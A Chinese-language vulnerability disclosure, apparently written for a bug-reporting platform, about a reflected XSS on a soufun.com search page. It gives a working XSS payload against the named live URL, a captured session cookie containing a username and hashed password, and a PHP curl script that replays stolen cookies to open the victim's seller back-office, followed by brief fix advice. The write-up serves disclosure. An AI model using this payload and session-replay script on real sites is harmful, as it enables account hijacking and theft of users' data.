对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录
这个 漏洞 在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危害不大。
楼主认为反射型的xss漏洞可大可小,看怎么去利用。所以楼主现在一步步深挖,看这个漏洞危害可否被放大。
(1)寻找xss漏洞
目标链接:http://home.soufun.com/jiancai/SearchList. asp x
漏洞重现方法:在目标链接处输入 <a href="http://www.wooyun.org"><img src="#"/**/onerror=alert(document.cookie) width=100>点击参加活动</a>,在IE下可以看到反射型xss了。
对于没有登录的用户来说,确实没有什么危害,但是,对于已经登录的用户,我们来看cookie里存放了些什么东西:
如你所见,用户名,加密后的密码,都在这里边。
这里不讨论怎么去 破解 加密 的密码,继续来演进这个漏洞有什么危害
(2)寻找目标,这是社会工程学的问题了。
找一个搜房 装修帮的用户,也很容易找,如:http://home.soufun.com/shop/40794726/
标题说什么 搜房网推出什么优惠大活动神马的东西,
如果当前用户已经登录了装修帮后台,并访问了这个链接,那么恭喜,用户被反射型xss攻击了,如果不是alert用户的cookie,而是收集用户的cookie呢?会有什么危害?
(3)假设我们已经通过步骤(2)的xss存储了用户的cookie(其实要收集也很简单,一个http请求就是了),我们通过一下的脚本来跑一跑,看有什么效果:
<?php function explode_cookie($cookie) { $cookie_arr = explode(";", $cookie); foreach ($cookie_arr as $cookie_str) { list($cookie_key,$cookie_value) = explode("=", $cookie_str); $cookie_key = trim($cookie_key); setcookie($cookie_key,$cookie_value,1800,'/','soufun.com'); } } function url_replace($str) { $pattern_var = "/href=(['\"])\//"; $replace_var = "href='http://dianpu.soufun.com/"; if (preg_match($pattern_var, $str)) { $str = preg_replace($pattern_var, $replace_var, $str); } return $str; } $admin_url = array( "http://dianpu.soufun.com/jiancai/dealer/top.aspx", "http://dianpu.soufun.com/jiancai/dealer/left.aspx", "http://dianpu.soufun.com/index.aspx", ); $cookie = "unique_cookie=U_b8nnhkz09nmlasskytp5f3ymg54hk50614w*12; __utmc=77873355; jiatxShopWindow=1; global_cookie=b8nnhkz09nmlasskytp5f3ymg54hk50614w; __utma=77873355.1662561517.1376029049.1376029049.1376037185.2; __utmb=77873355.9.10.1376037185; __utmz=77873355.1376029049.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); passport=usertype=1&userid=42545987&username=testxss89&password=381F5D8A96DFF049&isvalid=6BB50273C1F61D91962B0E259B086163&validation=6BB50273C1F61D912EC3FE322B6620E8917B57BF3DAD9B00; homezxb=sogo_dealerid=64451&Sogo_validation=C89DBE9F840476F053AEB80D5B7645B30D8754A1447B3A21&home_weike_userid=-64451&home_weike_user_validation=C89DBE9F840476F037BB50C741626714147ECDCB693EE44F; rememberRightname=testxss89"; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); explode_cookie($cookie); foreach ($admin_url as $url) { $header = array(); $header[] = "Cookie: {$cookie}\r\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); $data = curl_exec($ch); $data = url_replace($data); echo $data; } curl_close($ch);
上面的脚本的意图就是,模拟http请求装修帮的后台。
正常的后台是这样的:
我们模拟登录后的后台是这样的:
如你所见,我已经登录了当前用户的帐号~
那么还有什么事情不能做呢?
这个漏洞可以做更多有想象力的事情,不管危害如何,希望尽快修复。
修复方案: (1)建议 不要依赖cookie,连接session断掉之后cookie失效。
(2)修复xss漏洞
查看更多关于搜房网存在xss漏洞可导致csrf可导致用户帐号被盗的详细内容...